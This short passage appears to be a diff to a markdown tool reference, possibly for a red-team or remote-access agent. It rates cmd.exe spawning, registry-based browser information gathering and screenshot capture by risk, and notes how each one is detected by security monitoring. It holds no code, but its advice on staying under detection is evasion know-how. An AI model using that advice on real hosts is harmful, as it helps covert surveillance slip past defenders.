cmd.exe spawn is highly monitored - **Best Practice**: Use only when no alternative exists, always requires approval +#### `browser_info` +- **Risk**: LOW +- **Detection**: Registry reads may be logged if auditing enabled +- **Best Practice**: Read-only operation, safe for information gathering + #### `screenshot` - **Risk**: HIGH - **Detection**: Screen capture detection, behavioral analysis